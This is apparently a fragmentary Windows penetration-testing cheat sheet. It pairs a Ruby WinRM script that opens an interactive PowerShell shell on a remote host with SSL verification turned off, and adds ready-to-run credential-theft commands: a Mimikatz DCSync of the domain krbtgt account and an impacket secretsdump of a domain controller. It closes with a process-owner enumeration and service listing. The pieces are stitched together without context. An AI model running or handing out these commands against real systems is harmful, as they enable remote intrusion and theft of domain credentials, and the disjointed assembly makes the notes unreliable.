PS /home/User/> $profile
/home/user/.config/powershell/Microsoft.PowerShell_profile.ps1

function prompt {
  $p = Split-Path -leaf -path (Get-Location)
  "$p> "
}

PowerShell 6.2.4
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

User>

$ cat winrm.rb

#!/usr/bin/ruby
require 'winrm'

# Author: Alamot

conn = WinRM::Connection.new(
  endpoint: 'https://<IP-HOST-WINDOWS>:5986/wsman',
  transport: :ssl,
  client_cert: '/user/dir/cert.cer',
  client_key: '/user/dir/private.key',
  :no_ssl_peer_verification => true
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
        print(output.output.chomp)
        command = gets
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end
    puts "Exiting with code #{output.exitcode}"
end

Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt /domain:Win2016.local"'

secretsdump.py -just-dc <user>:<password>@<ipaddress>

powershell -version 2 -c " & {Get-WmiObject -Query "'Select * from Win32_Process'" | where {$_.Name -notlike "'svchost*'"} | Select Name, Handle, @{Label="'Owner'";Expression={$_.GetOwner().User}} | ft -AutoSize }"

-----------------------------SNIP--------------------
RemoteRegistry                       NT AUTHORITY\LocalService    
RpcEptMapper                         NT AUTHORITY\NetworkService  
RpcSs                                NT AUTHORITY\NetworkService  
SamSs                                LocalSystem                  
Schedule                             LocalSystem                  
SENS                                 LocalSystem                  
ShellHWDetection                     LocalSystem                  
Spooler                              LocalSystem                  
UxSms                                localSystem                  
vds                                  LocalSystem                  
VGAuthService                        LocalSystem                  
VMTools                              LocalSystem